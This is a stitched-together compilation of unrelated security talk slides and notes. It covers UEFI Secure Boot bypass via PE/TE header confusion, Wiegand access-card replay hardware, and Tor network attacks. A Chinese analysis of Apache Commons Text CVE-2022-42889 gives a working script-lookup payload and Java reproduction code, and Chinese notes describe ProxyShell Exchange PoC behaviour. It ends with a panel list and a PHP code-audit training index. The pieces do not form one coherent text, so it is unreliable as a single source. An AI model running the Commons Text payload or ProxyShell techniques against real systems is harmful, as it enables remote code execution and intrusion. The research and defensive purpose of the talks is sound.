In an effort to reduce image size, a new executable image header (TE)
was created that includes only those fields from the PE/COFF headers
required for execution under the PI Architecture. Since this header
contains the information required for execution of the image, it can
replace the PE/COFF headers from the original image.
http://wiki.phoenix.com/wiki/index.php/Terse_Executable_Format
TE is not PE/COFF
TE differs from PE/COFF only with header:
PE/TE Header Handling by the BIOS
Decoded UEFI BIOS image from SPI Flash
PE/TE Header Handling by the BIOS
CORE_DXE.efi:
PE/TE Header Confusion
ExecuteSecurityHandler calls GetFileBuffer to
read an executable file.
GetFileBuffer reads the file and checks it to have a valid
PE header. It returns EFI_LOAD_ERROR if executable is not
PE/COFF.
ExecuteSecurityHandler returns EFI_SUCCESS (0)
in case GetFileBuffer returns an error
Signature Checks are Skipped!
PE/TE Header Confusion
BIOS allows running TE images w/o signature check
Malicious PE/COFF EFI executable (bootkit.efi)
Convert executable to TE format by replacing PE/COFF
header with TE header
Replace OS boot loaders with resulting TE EFI executable
Signature check is skipped for TE EFI executable
Executable will load and patch original OS boot loader
Demo
(Secure Boot Bypass via PE/TE Header Confusion)
Other Secure Boot Problems
• CSM Module Allows Legacy On UEFI Based Firmware
• Allows Legacy OS Boot Through [Unsigned] MBR
• Allows Loading Legacy [Unsigned] Option ROMs
• Once CSM is ON, UEFI BIOS dispatches legacy OROMs then boots MBR
• CSM Cannot Be Turned On When Secure Boot is Enabled
• CSM can be turned On/Off in BIOS Setup Options
• But cannot select “CSM Enabled” when Secure Boot is On
CSM Enabled with Secure Boot
• Force CSM to Disabled if Secure Boot is Enabled
• But don‟t do that only in Setup HII
• Implement isCSMEnabled() function always returning FALSE in Secure Boot
• Never fall back to legacy boot through MBR if Secure Boot verification of UEFI
executable fails
Mitigations
Clearing Platform Key… from Software
“Clear Secure Boot keys” takes effect after reboot
The switch that triggers clearing of Secure Boot keys is in UEFI
Variable (happens to be in „Setup‟ variable)
But recall that Secure Boot is OFF without Platform Key
PK is cleared Secure Boot is Disabled
Install Default Keys… From Where?
Default Secure Boot keys can be restored [When there‟s no PK]
Switch that triggers restore of Secure Boot keys to their default
values is in UEFI Variable (happens to be in „Setup‟)
Nah.. Default keys are protected. They are in FV
But we just added 9 hashes to the DBX blacklist
Did You Notice Secure Boot Was Disabled?
The system protects Secure Boot configuration from modification but has
an implementation bug
Firmware stores integrity of Secure Boot settings & checks on reboot
Upon integrity mismatch, beeps 3 times, waits timeout then…
Keeps booting with modified Secure Boot settings
BIOS Attack Surface: BIOS Settings
System
FW/BIOS
SPI Flash
Protection
BIOS
Update
SMRAM
Protection
Hardware
Config.
SMI
Handlers
Secure
Boot
BIOS
Settings
(NVRAM,
Variables)
…
Handling Sensitive Data
• BIOS and Pre-OS applications store keystrokes in legacy
BIOS keyboard buffer in BIOS data area (at PA = 0x41E)
• BIOS, HDD passwords, Full-Disk Encryption PINs etc.
• Some BIOS‟es didn‟t clear keyboard buffer
• Bypassing Pre-Boot Authentication Passwords
• chipsec_main -m common.bios_kbrd_buffer
Pre-Boot Passwords Exposure
Secrets in the Keyboard Buffer?
[*] running module: chipsec.modules.common.bios_kbrd_buffer
[x][ =======================================================================
[x][ Module: Pre-boot Passwords in the BIOS Keyboard Buffer
[x][ =======================================================================
[*] Keyboard buffer head pointer = 0x3A (at 0x41A), tail pointer = 0x3A (at 0x41C)
[*] Keyboard buffer contents (at 0x41E):
20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 |
20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 |
[-] Keyboard buffer tail points inside the buffer (= 0x3A)
It may potentially expose lengths of pre-boot passwords. Was your password 15
characters long?
[*] Checking contents of the keyboard buffer..
[+] PASSED: Keyboard buffer looks empty. Pre-boot passwords don't seem to be
exposed
* Better check from EFI shell as OS/pre-boot app might have cleared the keyboard buffer
BIOS Attack Surface: SMI Handlers
System
FW/BIOS
SPI Flash
Protection
BIOS
Update
SMRAM
Protection
Hardware
Config.
SMI
Handlers
Secure
Boot
BIOS
Settings
(NVRAM,
Variables)
…
What? More Issues With SMI Handlers ?
• Coordination is ongoing with independent BIOS vendors
and platform manufacturers
Multiple UEFI BIOS SMI Handler Vulnerabilities
Do BIOS Attacks Require Kernel Privileges?
Hardware
I/O
Memory
Network
Graphics
UEFI DXE Core / Dispatcher
UEFI OS Loaders
System Firmware (SEC/PEI)
OS Kernel
OS Exploit
To attack BIOS, exploit
needs access to HW:
•PCIe config,
•I/O ports,
•physical memory,
•etc.
So, generally, yes.
Kernel privileges are
required..
Signed OS Driver
Unless Suitable Kernel Driver Already Signed
Hardware
I/O
Memory
Network
Graphics
UEFI DXE Core / Dispatcher
UEFI OS Loaders
System Firmware (SEC/PEI)
OS Kernel
Legitimate signed OS
kernel driver which can
do all this on behalf of a
user mode app (as a
confused deputy).
We found suitable driver
signed for Windows
64bit versions (co-
discovered with
researchers from MITRE)
User-mode Exploit
Ref: BIOS Security Guidelines / Best Practices
•
CHIPSEC framework: https://github.com/chipsec/chipsec
•
MITRE Copernicus tool
•
NIST BIOS Protection Guidelines (SP 800-147 and SP 800-147B)
•
IAD BIOS Update Protection Profile
•
Windows Hardware Certification Requirements
•
UEFI Forum sub-teams: USST (UEFI Security) and PSST (PI Security)
•
UEFI Firmware Security Best Practices
•
BIOS Flash Regions
•
UEFI Variables in Flash (UEFI Variable Usage Technical Advisory)
•
Capsule Updates
•
SMRAM
•
Secure Boot
Ref: BIOS Security Research
•
Security Issues Related to Pentium System Management Mode (CSW 2006)
•
Implementing and Detecting an ACPI BIOS Rootkit (BlackHat EU 2006)
•
Implementing and Detecting a PCI Rootkit (BlackHat DC 2007)
•
Programmed I/O accesses: a threat to Virtual Machine Monitors? (PacSec 2007)
•
Hacking the Extensible Firmware Interface (BlackHat USA 2007)
•
BIOS Boot Hijacking And VMWare Vulnerabilities Digging (PoC 2007)
•
Bypassing pre-boot authentication passwords (DEF CON 16)
•
Using SMM for "Other Purposes“ (Phrack65)
•
Persistent BIOS Infection (Phrack66)
•
A New Breed of Malware: The SMM Rootkit (BlackHat USA 2008)
•
Preventing & Detecting Xen Hypervisor Subversions (BlackHat USA 2008)
•
A Real SMM Rootkit: Reversing and Hooking BIOS SMI Handlers (Phrack66)
•
Attacking Intel BIOS (BlackHat USA 2009)
•
Getting Into the SMRAM: SMM Reloaded (CSW 2009, CSW 2009)
•
Attacking SMM Memory via Intel Cache Poisoning (ITL 2009)
•
BIOS SMM Privilege Escalation Vulnerabilities (bugtraq 2009)
•
System Management Mode Design and Security Issues (IT Defense 2010)
•
Analysis of building blocks and attack vectors associated with UEFI (SANS Institute)
•
(U)EFI Bootkits (BlackHat USA 2012 @snare, SaferBytes 2012 Andrea Allievi, HITB 2013)
•
Evil Maid Just Got Angrier (CSW 2013)
•
A Tale of One Software Bypass of Windows 8 Secure Boot (BlackHat USA 2013)
•
BIOS Chronomancy (NoSuchCon 2013, BlackHat USA 2013, Hack.lu 2013)
•
Defeating Signed BIOS Enforcement (PacSec 2013, Ekoparty 2013)
•
UEFI and PCI BootKit (PacSec 2013)
•
Meet „badBIOS‟ the mysterious Mac and PC malware that jumps airgaps (#badBios)
•
All Your Boot Are Belong To Us (CanSecWest 2014 Intel and MITRE)
•
Setup for Failure: Defeating Secure Boot (Syscan 2014)
•
Setup for Failure: More Ways to Defeat Secure Boot (HITB 2014 AMS)
•
Analytics, and Scalability, and UEFI Exploitation (INFILTRATE 2014)
•
PC Firmware Attacks, Copernicus and You (AusCERT 2014)
•
Extreme Privilege Escalation (BlackHat USA 2014)
THANK YOU! | pdf |
PHYSICAL ACCESS CONTROL
SYSTEMS
Are you protected by two
screws and a plastic
cover?...... Probably!
Zac Franken
Defcon 15
What we are going to
cover:
• Overview of physical
credentials
• Brief overview of biometric
systems
• Biometric worked example
• Demo of attack
Basic system
Anti-Passback system
Physical Credential
Technologies
• Magnetic Strip Card
• Wiegand Card
• Proximity Card
• Barium Ferrite Card
• Concealed Barcode Card
• Smart Cards
Concealed Barcode
• As crappy as it sounds
• Regular barcode obscured by IR
transparent material (a la Remote control)
• Just Fucking Embarrasing
Magnetic stripe
• Normally 3 tracks
• High Coercivity- 4,000 Oersted
• Low Coercivity- 300 Oersted
• Cards are read by an exposed
read head in the reader
• “High security” cards can mean
simply ofsetting the track
Clock & Data Protocol
• 3 Wires required: Clock, Data & Ground
• Standard output from a mag stripe reader
Clock & Data
Barrium Ferrite
• Tends to use an insertion reader
• Card contains discrete magnetic domains
• Normally encoded in “fridge magnet” type
material
• This was the original “Card Key”
Wiegand card
• Special alloy wire is processed in such a
way to create two distinct magnetic regions
in the same piece of wire when passed over
a magnetic field
• Wire is embedded in the card in a distinct
order to create an individual code
• Each Wiegand pulse is translated to a
digital 0 or 1 depending on wire location
Wiegand card
Wiegand Effect
• When Wiegand wires go by a magnet they store the
energy from the magnet
• If the wire is passed by an opposite polarity magnet, the
wire releases the energy
• If a coil is place near the wire as it releases the energy,
you can convert the energy into an electronic pulse.
Wiegand Electrical
protocol
• 3 wires required: Binary 1, Binary 0, Ground
Look familiar?
Real Wiegand Data
Wiegand format
• 0s and 1s are divided into bit fields known
as Wiegand format
• 26 bit is a “universal format”
• Most access card manufacturers have
proprietary formats which they sell at
additional cost
Most Significant Bit
Least Significant Bit
PROXIMITY
• Passive
• Reader emits an RF field that powers
the card
• Card sends its data back to the
reader where it is read by the host
system
• An active card emits a field to the
reader
Proximity and RFID
• Proximity cards are MAGNETICALLY coupled.
– Short read range
– Transmit response by shorting out own receive coil
and causing minute power drops in readers transmit
coil.
• RFID cards can have longer read range
– Energised by signal on frequency X
– Transmit response on a fraction of frequency ½ X
Proximity ID cards
• Barf back a single bitstream
• Nominally 26 bits
• “high security” can be 40 bits, though there
are rumours of up to 84 bit versions.
• Security by manufacturers restricting
“sitecodes”
• The world generally uses 26 bits
Contactless Smart
Card
• The way to go
• Authentication between reader & card
• Strong Crypto
Biometrics
• Retina Scan
• Iris Scan
• Venial hand/finger map
• Hand Geometry
• Fingerprint
Fingerprint
• image capture & feature compare
• 2 technologies
– Optical
– Capacitive (semiconductor)
• Easily defeated
• Gummy bears
• Licked photocopies
• Silicone fingertips etc
Fingerprint Feature Analysis
Hand Geometry
• Images again
• Note the pegs to
center the hand
The addition of a 45 degree
mirror allows them to add a
check on the 3rd dimension.
Veinal hand Scan
• Another image capture,
this time with an infra-red
camera.
Iris Scan
• Just an image!
• Potential for walk by
capture!
• All biometric devices on
the market today are
basically image capture
devices.
Retina Scan
• More secure
– Hard to “steal credential”
• Hard to use
– Needs training & practise
• Manufacturer went bust
–
This is actually a good example of how
biometrics work and the challenges of
getting them to work at all!
An Example of how it works
• First the user enters code on reader
• Visual dot and target is displayed in eyepiece
• (Tip: put finger on scan button)
• look into eyepiece
• move head to align dot onto target
• Once you have correct alignment user presses
scan button.
• HOLD STILL!!!
Not as easy as it sounds..
• Not that it sounded that easy
• All biometric devices have a variance
factor.
– No two reads will ever be identical
– There must certain amount of leeway allowed
A retina (Not mine !)
The user target alignment aligns
the eye to the same position each
time (sic)
When the scan button is pressed
the reader scans a circle of the
retina
Along the circle it spots the dark
bits (Veins) and notes their location
on the circle
Surprisingly enough…. The user
credential is 360 bits long ☺
This changed with later models
but it shows how the designers
think.
Coolness factor:- High
• Alignment
– Totally subjective
– Almost like including a brain print
• Fudge factor
• ID generally ends up as a hash
Statistically speaking
• False Acceptance Rate:
– Rate at which someone other than the actual
person is falsely recognized.
• False Rejection Rate:
– Rate at which the actual person is not
recognized accurately.
• Also All of these technologies are coupled
with a user id!
Credential Revocation
Fingerprint / Hand revocation device
Credential Revocation
Retina / Iris revocation device
The Catch
You knew it was here
somewhere…
Why backwards
compatibility in the
security industry is a
BAD THING™
Wiegand
• When Wiegand cards came out they were
considered “The shit”
• Access control manufacturers all made
sure that their systems could interface with
wiegand enabled readers
• They still do……
• Every reader we saw today, from
the super secure biometric retina
scanner to as “crappy as it
sounds” concealed barcode
uses the wiegand electrical and
data protocols to communicate
to the access control system.
EEEK!
• “PLAIN TEXT”!
• Easily intercepted!!
• Easily replayed!!!
• Includes output from biometric readers!!!!
• Includes output from strong crypto
contactless smart card readers!!!!!
The Goal..
• Record wiegand id’s
• Replay wiegand id’s
• Small
• Easily installable
• Cheap (if poss)
Challenges..
• Unit control (send replay command)
– Don’t really want wires hanging out
• Card validation (don’t record bad cards)
– Hmm
• Data Extraction (read out card id’s)
– Still don’t want wires hanging out
Connection
Say Hello to Gecko
• Uses “Command
Cards” to control
functions (Replay etc)
• Uses “Access
Allowed” LED Control
line to validate cards
• Uses “Access
Allowed” LED to
download data
Connection
Demo
Standard Demo Disclaimer Applies:
This is a demo, so nothing will
work.
However, if it does, I’m totally
prepared to take all the credit
for it!
Replay in progress…
Development V1
• Proof of concept
• Basic feature set:-
• Record
• Replay
• Disable
• Enable
Version 2
• Store multiple ids to eeprom/flash
• Check validity of card by monitoring reader
led line
• Download data via reader led ☺
• Load data via command cards
Version 3
• All the functionality of V2, but with a
bluetooth control interface.
• Ideal for biometric devices
Version 4
• All the functionality of V3, but with a GSM
interface.
• Monitor access to the facility remotely
Q & A
Zac Franken
[email protected]
PHYSICAL ACCESS CONTROL
SYSTEMS
Were you screwed by two
screws and a plastic
cover?......
Zac Franken
[email protected]
Defcon 15 | pdf |
Securing the Tor Network
Mike Perry
Riverbed Technology
Black Hat USA 2007
Defcon 2007
Who am I?
● Volunteer Tor developer
● Forward+Reverse engineer
● Employed by Riverbed (shameless plug)
– Leading manufacturer of WAN accelerators
– 20200X (not percent. X) improvement of CIFS
– 550X improvement of MAPI/Exchange
– Protocol independent data reduction
– > 90% head to head win rate
– Outselling Cisco accelerators 2:1
Preaching to the Choir
● Don't yet understand consequences of having
lives+thoughts archived by IP, bought and sold
● Google may not be (that) evil, but what about
ISPs, other search engines?
● Information can come back to bite in unexpected
ways
– Divorce cases
– Lawsuits
– Catalogs/Spam
What is Tor?
● Volunteer run relay network designed for
privacy, anonymity, and censorship resistance.
● Client acts as SOCKS proxy
● Relays TCP connections (“streams”)
– Multiplexed on encrypted paths (“circuits”)
● Circuits multiplexed over nodetonode TLS/SSL
● Circuits route through 3 nodes
– “Guard”, “relay”, “exit”
Tor Routing
Classes of Attack
● Passive attacks
– Packet and connection timing correlation
– Fingerprinting of traffic/usage patterns
– “Intersection Attacks” of multiple attributes of users
● Active attacks
– Lying about bandwidth to get more traffic
– Failing circuits to bias node selection
– Modifying application layer traffic at exit
Position of Attack
● Internal
– Node operator
– Can differentiate circuits at guard and relay.
– Able to differentiate streams per circuit at exit
● External
– ISP or Echelonstyle adversary
– Assumed to be unable to see inside TLS streams
– Likely frustrated to a large degree by running Tor as
both node and client
Attack Points
Passive Attacks
Active Attacks
Application Attacks
Questions/Intermission 1
Questions so far?
Approaches to Security
● Verify node operators (Ha!)
● Path selection hacks
● “Tor up from the floor up”
● Improve network speed and usability
● Scan nodes for modification/reliability
● Secure the applications (different threat model)
Path Selection Hacks
● /16 hack: No two nodes from same /16 netmask
– Many ISPs have disjoint IP ranges..
● Guard nodes
– Chosen from top 50% uptime, top 50% bandwidth
– Foil “repetitive fetch” application layer attacks
– Reduces longterm fingerprinting potential
– Without rotation, can deter intimidation attacks
– Difficult to do right. Typically still rotate
● Essentially a timetradeoff of risk
Tor Routers and LiveCDs
● JanusVM, Anonym.OS, xBVM
– “Tor up from the floor up”
– Address applicationlevel attacks to bypass Tor
– Block UDP
● Major flaw: Circuit reuse > app correlation
– AV software update, other IDbased software updates
– AIM, ssh, email usage of different “nyms”
– Media players checking recommended music, etc etc
Improving Speed and Usability
● Key component of Tor security: Large userbase
– Users have been harassed because of small anonymity
sets! Whistleblower/Blogger scenario can be unsafe!
● Users want speed and ease of use
– Many do not need as much anonymity
– Two hop proposal (semicontroversial)
– Intelligent path selection
– Ensure network is evenly balanced and reliable
Centralized Network Scanning
● Tor control port is fun stuff
● Snakes on a Tor and TorFlow
– Verifies md5 sums of googled URLs
– Also verifies node reliability+bandwidth
● Works against incompetent+blanket adversaries
– Actually found some broken+malicious nodes
● Does not work against selective adversaries
● Vulnerable to detection
Scanning Methods and Weaknesses
Stuff We Found Anyway
1. Chinese ISP doing SSL MITM
2. Popup blocking! :)
3. Google Analytics Blocking! <3
4. DNS Spoofing
5. SSH+SSL MITM
6. Overloaded nodes
7. Balancing issues :(
Decentralized Network Scanning
● Clientbased:
– Use reliability averages from TorFlow
– Alert user if guard node fails more than X% circuits
– Measure observed bandwidth/latency of nodes
● Nodebased:
– Gather statistics on average capacity and queue
lengths to peers, compare to node rankings
– Report major deviations or use as balancing feedback
loop.
Passive Client+Node Based Scanning
Balancing Issues
● Tor network is unbalanced
– Guard node issues (bug #440)
– Bandwidth clipping
● Detectable during scans
– Top 5% of nodes have room for 7X more capacity
– Next 10% of nodes have room for 3X more capacity
– High circuit failure rates that drop off at 50% mark
– High extend times that drop off at 50% mark
Scanning Methodology
● Divide Tor network into 5percentile segments
– About 80 nodes each
● Circuit Scanning
– Build 500 three hop paths for each range
– Fetch ~20k file on each path
– Count failures, track extend times
● Bandwidth Scanning
– Fetch 512k file 200 times over two hop paths
– Average the observed bandwidth for each range
Bandwidth (Mis)Balancing
Side Effects of Unbalancing
Probability of Existing Tor Usability
● 70% Chance of choosing one unbalanced guard
– Tor goal: 3 guards
● .7x.7x.7 = 34% chance of 3 unbalanced guards
– Tor is likely unbearable for 34% of users
● C(3,2)x.7x.7x.3 = 44% chance of 2/3 bad guards
● C(3,1)x.7x.3x.3 = 19% chance of 1/3 bad guards
● .3x.3x.3 = 3% chance of 3/3 usable guards
Other Load Balancing Factors
● Insane exit policies
– Allowing bittorrent, p2p, smtp..
● High uptime vs low uptime
● Scarce guard bandwidth
– Avoid guards for relay choice
● Directory vs Node traffic
● Time of day
● Location
Questions/Intermission 2
Questions so far?
Securing the Application Layer
● Tor has a superset of the threat model most
applications are written for.
– No UDP!
– Unique identifiers are bad
– Proxy settings must be sacrosanct
– Location information must not be transmitted
– Updates are dangerous. Hostile network.
Tor's Web Attack Profile
1. Bypassing proxy settings
2. Correlation of Tor vs NonTor
3. History disclosure
4. Location information
5. Misc Anonymity set reduction
6. History records
Plugin Wall of Shame
● Flash v9
● Quicktime v7.2
– RTSP proxy (does not apply to web streams)
● Windows Media Player v10.000000.4040
– Has proxy settings. Even has a “No Bypass” option.
● Still Ignores them
● Adobe Acrobat Reader Plugin v8.1
– Leaks DNS
● mplayerplugin
Solution: Improved TorButton
● Disable plugins while Tor is enabled
● Isolate dynamic content per Tor load state
● Cookie jars/cookie clearing
● Cache management
● History management
● User agent spoofing during Tor
● Timezone+Locale spoofing
TorButton Demo
● http://gemal.dk/browserspy/basic.html
● http://gemal.dk/browserspy/css.html
● http://gemal.dk/browserspy/date.html
● http://gemal.dk/browserspy/plugins.html
● http://metasploit.com/research/misc/decloak/index.htm
● http://ha.ckers.org/weird/CSShistory.cgi
● http://www.tjkdesign.com/articles/css%20pop%20ups/
Interesting Technical Details
● Context issues
● Tab tagging
● XPCOM hooking and XPCOM policies
● Javascript hooking
Final Thoughts
● Tor security != Internet security
– Superset, actually
– Adversary has different goals
– Many apps do not consider privacy vulnerabilities as
real vulnerabilities
Credits+Contributions
Scott Squires (Original TorButton Author)
Collin Jackson (History blocking+Cookie jars)
Johannes Renner (TorFlow contributions+research)
Nick & Roger (Advice, Tor in general)
Nitin, Dave, Thom (Advice, Moral Support)
“What can I do to help Tor?”
● Extra bandwidth? Run a node!
– See conference CD for Linux 'tc' prioritization script
– No need to impact your own traffic flows
● Post patches/plugins to your favorite apps to
protect against info disclosure.
– Work to raise awareness that privacy issues should be
considered as part of security measures | pdf |
1
Apache Commons Text RCE(CVE-OLOO-
QOWWX)
漏洞分析
漏洞复现
漏洞防御
漏洞详细：https://lists.apache.org/thread/n2bd4vdsgkqh2tm14l1wyc3jyol7s1om
根据⽂中提到的 lookups 可以定位到 InterpolatorStringLookup#lookup ⽅法
漏洞分析
2
第5⾏将 : 的第⼀次出现的下标赋给 prefixPos，如果 prefixPos ⼤于 0，则会将 : 前半部分赋给
prefix(此处会进⾏⼩写处理)，后半部分赋给 name。
接着在 stringLookupMap 查看是否存在对应的键名，如果存在则会调⽤ StringLookup#lookup ⽅法
这些 lookups 可以在 org.apache.commons.text.lookup.DefaultStringLookup 中查看
public String lookup(String var) {
if (var == null) {
return null;
} else {
int prefixPos = var.indexOf(58);
if (prefixPos >= 0) {
String prefix = toKey(var.substring(0, prefixPos));
String name = var.substring(prefixPos + 1);
StringLookup lookup = (StringLookup)this.stringLookupMap.get(p
refix);
String value = null;
if (lookup != null) {
value = lookup.lookup(name);
}
if (value != null) {
return value;
}
var = var.substring(prefixPos + 1);
}
return this.defaultStringLookup != null ? this.defaultStringLookup
.lookup(var) : null;
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
Java
复制代码
3
⽂中说明可以使⽤ script 进⾏命令执⾏，查看 ScriptStringLookup#lookup ⽅法
4
SPLIT_STR 为 : ，将其再划分为两部分。接着会将这两部分分别赋给 engineName 和 script，其中
engineName 是在 (new ScriptEngineManager()).getEngineByName(engineName) 进⾏调
⽤的，这⾥ engineName 是赋值 js，然后 script 是在 scriptEngine.eval(script) 进⾏调⽤代码
执⾏，这⾥可以使⽤ java.lang.Runtime.getRuntime().exec(\"calc\") ，最后 Payload 如
下
其他 lookup 可⾃⾏分析利⽤
public String lookup(String key) {
if (key == null) {
return null;
} else {
String[] keys = key.split(SPLIT_STR, 2);
int keyLen = keys.length;
if (keyLen != 2) {
throw IllegalArgumentExceptions.format("Bad script key format
[%s]; expected format is EngineName:Script.", new Object[]{key});
} else {
String engineName = keys[0];
String script = keys[1];
try {
ScriptEngine scriptEngine = (new ScriptEngineManager()).ge
tEngineByName(engineName);
if (scriptEngine == null) {
throw new IllegalArgumentException("No script engine n
amed " + engineName);
} else {
return Objects.toString(scriptEngine.eval(script), (St
ring)null);
}
} catch (Exception var7) {
throw IllegalArgumentExceptions.format(var7, "Error in scr
ipt engine [%s] evaluating script [%s].", new Object[]{engineName, script}
);
}
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
Java
复制代码
${script:js:java.lang.Runtime.getRuntime().exec("calc")}
1
Plain Text
复制代码
5
pom.xml 添加如下依赖
CVE_2022_42889.java
执⾏截图
漏洞复现
<!-- https://mvnrepository.com/artifact/org.apache.commons/commons-text -
->
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-text</artifactId>
<version>1.9</version>
</dependency>
1
2
3
4
5
6
Plain Text
复制代码
package cve.test;
import org.apache.commons.text.StringSubstitutor;
public class CVE_2022_42889 {
public static void main(String[] args) {
StringSubstitutor interpolator = StringSubstitutor.createInterpola
tor();
interpolator.replace("${script:js:java.lang.Runtime.getRuntime().e
xec(\"calc\")}");
}
}
1
2
3
4
5
6
7
8
9
10
11
Java
复制代码
6
官⽅给出的修复⽅案是更新 Apache Commons Text 1.10.0
定位⾄ org.apache.commons.text.lookup.StringLookupFactory 中的
DefaultStringLookupsHolder#createDefaultStringLookups
在创建时就将危险的 lookup 排除在外
漏洞防御 | pdf |
#Proxyshell# 个人记录
目前 proxyshell 实战中遇到最多的问题有两种。一个是 powershell 端点获取问题，一个是获
取 cmdlet 可执行端点后 get webshell 中间遇到的坑。
一、powershell 端点获取问题
目前大部分人利用 poc 时都是使用 administrator 测试是不是存在可以利用的 powershell 端
点，获取不到爆破邮箱。这里使用头像哥思路可花较少时间获取 ps Exhange 的权限。
1. 原始 poc 浅析
https://github.com/dmaasland/proxyshell-poc/blob/main/proxyshell.py
结合最先公开的 poc(此 poc 大量参考斗象文章)中的部分点，分析下它的利用链和实际遇到
的问题。Poc 执行后首先获取 LegacyDN 而后获取 sid 最后生成 token，获取的前提是输入的
邮箱必须是存在的邮箱否则会报五百错误。
生成完毕 token 后第二个红色箭头处会停留等待输入命令。需要注意的是程序运行到此处只
是生成了 token 并没有验证 token 是否具有远程权限。
Shell 函数获取用户输入后才会发起认证，进入函数后第一个红色箭头处 wsman 将帮助我们
发起认证格式为 Kerberos 的请求，并执行命令(发起的请求还会经过 PwnServer 类处理)。认
证过程中如果指定邮箱没有 Exchange Online PowerShell 权限时会报错如下。
有权限将会获取输入的命令执行结果。以上是原 poc 的执行流程。
2. 另一新公开的 poc 分析
https://github.com/ktecv2000/ProxyShell
原理类似所以略过分析，该脚本针对部分环境存在问题。如果 rid 不是 500 强制修改 rid 为
500 当它打印出[Stage 3] Accessing /Powershell Endpoint 时实际此时在部分环境下不会成功
认证，但此处还会打印完成认证没有写好处理逻辑问题，也可能作者只打了自己搭建的
exchange 他没有发现这一问题。
为了清楚的看到它是否真的通过 wsman 认证成功，我们首先替换 pypsrp 库的 wsman.py 文
件为该 poc 作者自己写的 wsman.py，再给它发送的 requests 请求加上代理，看下究竟是什
么样的回显。
执行后于 burp 看到回显如下。
可以看到实际上它是根本没有验证成功，查询该问题。
https://windowstechpro.com/the-user-isnt-assigned-to-any-management-roles-error/
https://serverfault.com/questions/100311/how-do-i-resolve-user-isnt-assigned-to-any-managem
ent-roles-error-in-exchange
大概得知是因为域管未加入 exchange Organization Management 组造成，所以此脚本
及其他类似思路的 poc 或脚本，只适用于目标环境恰好存在 rid500 域管在该组的情况
下，否则都会失败。
到这里也能解决一个迷思，有个好兄弟很坚定认为说如果你都不是域管你怎么去导出
邮件，给我一顿嘲讽。这里我们知道域管与 exchange 管理员是分离的，并没有必然
联 系 。 即 使 rid 为 500 域 管 理 员 也 会 失 败 所 以 根 源 问 题 应 该 是 用 户 是 不 是 在
Organization Management 组中。
至于为何产生这种情况，在其他类似问题的解答里看到，似乎是安装 exchange 时用
户不是对应的域管造成，应该是属于安装问题。而其他尤其是高版本 exchange 的可
能有所更新，已经避免了此问题，目前真实环境中未遇到非 exchange15 的存在这个
问题。
这个情况也通用于其他类似脚本，原理是一样的。所以部分朋友认为修改 rid500 就能
通杀所有目标环境的是完全的美好幻想。
二、Get shell 问题
很多环境都存在 rid500 可以打的情况，其 cmdlet 命令集支持所有的命令如 certificate、设置
导出权限就是直接 shell。
但是实际过程中发现遇到 exchange15 的环境，使用的账户拥有访问 powershell 端点的权限,
但是 cmdlet 支持不全。这个用之前头像哥的思路去获取到所有成员，再自行测试其是否是
管理员去打目前还未成功，没能实锤这种情况究竟是版本问题还是权限问题。如果后面可以
解决这个问题可能会达到通杀的效果。
Ref:
https://docs.microsoft.com/zh-cn/exchange/troubleshoot/hybrid-configuration-wizard-errors/us
er-not-assigned-to-any-management-roles
https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/security-
identifiers | pdf |
0x00
IDAburp
1.
2.
3.
4.
vpnvpn
0x01
1. IAM
2. idedr
3.
4. ipurl
wafids
5.
0x02
1. SDP
2. NIST
3.
SDP
SDP
SDPSDP
SDPSDPSDP
agentagentSDP
iptablesipSDP
agentipiptablesip
SDP
NIST
NIST
(PDP)(PEP)
NISTISOAccess management-AMPDPPEP
NISTPDP/PEP
NISTPDPSDPPEPSDPagent
0x03
sxfatrustatrustvpn
VPN
ip
vpn
vpn
atrustedrsdk
atrustmacID
edr
atrust
edrwafhips
atrustatrustvpnvpn
vpn
agent
atrustsdp
atrust
0x04
vpn
vpnvpn
vpnweb
web
vpnvpnipvpn
sslvpnatrust
sslvpnvpnvpn
SPA
1. udpudpip
2. ssl
atrust
SPA
SDP
0x05 POP
sasecdn
pop
poppopatrust
poppop | pdf |
§ David Mortman, enStratus
§ Rob Graham, ErrataSec
§ Dave Maynor, ErrataSec
§ Chris Hoff, Juniper
§ James Arlen, Liquid Matrix
§ Larry Pesce, PaulDotCom
§ Rich Mogull, Securosis
Fail Panel Five | pdf |
PHP 代码审计
培训教材
路虽远，行则必达。
- 2 -
目录
代码审计基础........................................................................... - 4 -
代码审计概念.................................................................................- 4 -
需要了解一些函数.........................................................................- 6 -
需要了解的超全局变量.................................................................- 7 -
审计之初.......................................................................................- 11 -
如何进行漏洞挖掘.......................................................................- 13 -
一些代码审计工具介绍...............................................................- 16 -
重装漏洞................................................................................. - 20 -
开源轻论坛 StartBBS 前台 getshell............................................ - 20 -
Simple-Log 博客系统全版本重安装漏洞................................... - 25 -
SQL 注入漏洞..........................................................................- 30 -
WiiNews(Mobile 新闻系统).........................................................- 31 -
tpshop 注入.................................................................................. - 34 -
74CMS 人才系统注入全版本通杀进后台....................................- 37 -
iSiteCMS 几处注射漏洞...................................................................- 43 -
PHPYun XML 实体注入................................................................ - 48 -
cmseasy 无限制报错注入...........................................................- 63 -
文件包含................................................................................. - 67 -
phpcms2008 本地文件包括及利用.............................................- 69 -
simple-log 后台任意文件读写漏洞............................................ - 70 -
易酷 cms 本地包含导致 getwebshell.........................................- 72 -
远程命令执行......................................................................... - 81 -
惠尔顿上网行为管理系统命令执行...........................................- 81 -
上海格尔安全认证网关管理系统命令执行......................... - 85 -
文件上传漏洞......................................................................... - 93 -
任意上传漏洞原理.................................................................. - 95 -
《DVWA 的分析与测试 7(File Upload)》.................................. - 99 -
中国联通客服平台任意文件上传.............................................- 104 -
用友 ICC 网站客服系统任意文件上传漏洞...........................- 107 -
- 3 -
泛微 Eoffice 任意文件上传...................................................... - 109 -
后门....................................................................................... - 113 -
EcShop 官方补丁存后门............................................................- 113 -
panabit 高危漏洞合集...............................................................- 114 -
逻辑错误............................................................................... - 117 -
Espcms 后台逻辑验证错误漏洞............................................... - 117 -
cmseasy 逻辑缺陷可升级普通用户为管理员................... - 121 -
PHPCMS 设计缺陷可重置前台任意用户密码.....................- 126 -
密码相当............................................................................... - 131 -
Espcms 加密函数缺陷导致 getshell......................................... - 131 -
Tipask 2.0 加密函数破解导致任意用户密码修改..................- 143 -
